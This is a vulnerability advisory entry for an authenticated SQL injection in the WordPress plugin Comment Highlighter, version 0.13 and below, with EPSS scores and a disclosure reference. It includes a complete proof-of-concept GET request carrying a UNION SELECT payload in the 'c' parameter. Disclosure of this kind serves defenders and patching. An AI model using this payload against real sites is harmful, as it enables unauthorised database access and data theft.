Comment Highlighter <= 0.13 - Authenticated SQL Injection

2021-07-2300:00:00

wpvulndb

110

sql injection

authenticated

comment highlighter

get request

sec-gpc

EPSS

0.001

Percentile

45.0%

JSON

A c GET parameter of the plugin is not properly sanitised, escaped or validated before inserting to a SQL statement, leading to SQL injection.

GET /wp-admin/options-general.php?page=comment-highlighter/comment_highlighter.php&c=-6104%20UNION%20ALL%20SELECT%20NULL,NULL,NULL,NULL,user(),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- HTTP/1.1
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-GPC: 1
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: [admin+]
Connection: close

References

codevigilant.com/disclosure/2021/wp-plugin-comment-highlighter/

EPSS

0.001

Percentile

45.0%

JSON

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